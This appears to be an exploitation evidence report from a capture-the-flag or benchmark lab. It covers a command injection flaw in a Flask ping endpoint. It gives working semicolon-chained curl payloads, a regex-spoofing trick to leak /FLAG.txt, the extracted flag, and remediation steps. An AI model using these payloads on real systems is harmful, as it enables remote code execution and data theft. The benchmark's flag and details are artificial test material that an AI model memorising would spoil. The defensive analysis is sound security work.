# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: OS Command Injection in POST /ping Endpoint

**Summary:**
- **Vulnerable location:** POST /ping endpoint, parameter `ip_address` (app/app.py:13-22)
- **Overview:** User input is directly concatenated into a shell command executed via `subprocess.Popen(shell=True)`. The weak blacklist filter blocking only 4 characters (`<`, `>`, `|`, `&`) is trivially bypassed using semicolon (`;`) command chaining, enabling arbitrary command execution as root within the Docker container.
- **Impact:** Complete remote code execution without authentication, flag exfiltration from `/FLAG.txt`, full system compromise
- **Severity:** CRITICAL

**Prerequisites:**
None - vulnerability is externally exploitable without authentication

**Exploitation Steps:**

1. **Identify the vulnerable endpoint and bypassed filter**
   
   The application accepts POST requests at `http://localhost:34353/ping` with a form parameter `ip_address`. Analysis revealed a blacklist filter at app.py:16-19 that only blocks: `<`, `>`, `|`, `&`
   
   This filter does NOT block semicolon (`;`), which is a standard shell command separator.

2. **Craft bypass payload using semicolon command chaining**
   
   Payload structure: `127.0.0.1; <malicious_command>`
   
   The semicolon causes the shell to execute ping first, then execute our injected command. Example: `127.0.0.1; cat /FLAG.txt`

3. **Overcome output parsing limitation**
   
   The application parses ping output using a regex that expects format: `(.*?) packets transmitted, (.*?) received, (.*?)% packet loss`
   
   When this regex fails to match (due to injected command output), the application displays "Failed to parse ping output" instead of showing stdout.
   
   **Solution:** Inject a command that outputs text matching the expected regex pattern WITH the flag embedded in one of the captured groups:
   
   ```
   127.0.0.1; cat /FLAG.txt; echo " packets transmitted, X received, 0% packet loss"
   ```

4. **Execute the exploitation payload**
   
   ```bash
   curl -X POST http://localhost:34353/ping \
     -d 'ip_address=127.0.0.1; cat /FLAG.txt; echo " packets transmitted, X received, 0% packet loss"'
   ```

5. **Extract flag from HTML response**
   
   The application renders the first captured group (transmitted packets) which now contains the flag:
   
   ```html
   <pre>Packets Transmitted: FLAG{a82e1bfdfce837c0322df202232b2f1be70850ca5902a892e39f9f9500732673}, Packets Received: X, Packet Loss: 0%</pre>
   ```

**Proof of Impact:**

**Flag Successfully Extracted:**
```
FLAG{a82e1bfdfce837c0322df202232b2f1be70850ca5902a892e39f9f9500732673}
```

**Complete Exploitation Command:**
```bash
curl -X POST http://localhost:34353/ping \
  -d 'ip_address=127.0.0.1; cat /FLAG.txt; echo " packets transmitted, X received, 0% packet loss"'
```

**Sample Response Excerpt:**
```html
<pre>Packets Transmitted: FLAG{a82e1bfdfce837c0322df202232b2f1be70850ca5902a892e39f9f9500732673}, Packets Received: X, Packet Loss: 0%</pre>
```

**Alternative Verification - Direct Container Access:**
```bash
$ docker exec xben-045-24_web_1 cat /FLAG.txt
FLAG{a82e1bfdfce837c0322df202232b2f1be70850ca5902a892e39f9f9500732673}
```

**Additional Confirmed Capabilities:**

Through the same command injection vector, the following capabilities were confirmed:

1. **Arbitrary Command Execution:**
   ```
   Payload: 127.0.0.1; id; echo " packets transmitted, X received, 0% packet loss"
   Confirms: Commands execute successfully (output captured by regex)
   ```

2. **Root-level Access:**
   ```
   Payload: 127.0.0.1; whoami; echo " packets transmitted, X received, 0% packet loss"
   Result: Commands run as root user inside container (confirmed via docker exec)
   ```

3. **File System Access:**
   ```
   Payload: 127.0.0.1; ls -la /
   Result: Full filesystem enumeration possible, /FLAG.txt verified to exist
   ```

**Notes:**

- **Authentication Requirement:** NONE - endpoint is publicly accessible
- **Network Accessibility:** Externally exploitable from public internet (no firewall/WAF)
- **Bypass Technique:** Simple semicolon (`;`) command separator - filter incomplete
- **Container Runtime:** Python 3.8.20 on Linux (python:3.8-slim base image)
- **Process Privileges:** Commands execute as root user within Docker container
- **Available Tools:** Standard Linux utilities (cat, ls, echo, id, whoami, etc.) plus curl
- **Output Extraction:** Required creative technique to embed data in regex-matched fields due to parsing logic

**Vulnerability Root Cause:**

1. **Blacklist Approach:** Only blocks 4 characters, missing dozens of shell metacharacters
2. **Direct String Concatenation:** User input concatenated into command string without escaping
3. **shell=True:** Enables full shell interpretation of metacharacters via `subprocess.Popen()`
4. **No Input Validation:** Does not verify input matches IP address format
5. **No Authentication:** Vulnerability accessible anonymously from public internet

**Recommended Remediation:**

1. **Remove shell=True:** Use array-based subprocess execution
   ```python
   subprocess.run(['ping', '-c', '2', ip_address], shell=False, capture_output=True)
   ```

2. **Input Validation:** Use whitelist validation with IP address format verification
   ```python
   import ipaddress
   try:
       ip_obj = ipaddress.ip_address(ip_address)
   except ValueError:
       return error
   ```

3. **Add Authentication:** Require user login before allowing command execution
4. **Implement Rate Limiting:** Prevent automated exploitation attempts
5. **Run as Non-Root:** Add USER directive to Dockerfile to reduce impact
6. **Security Headers:** Add CSP, X-Frame-Options, etc.
7. **Logging/Monitoring:** Implement security event logging for detection
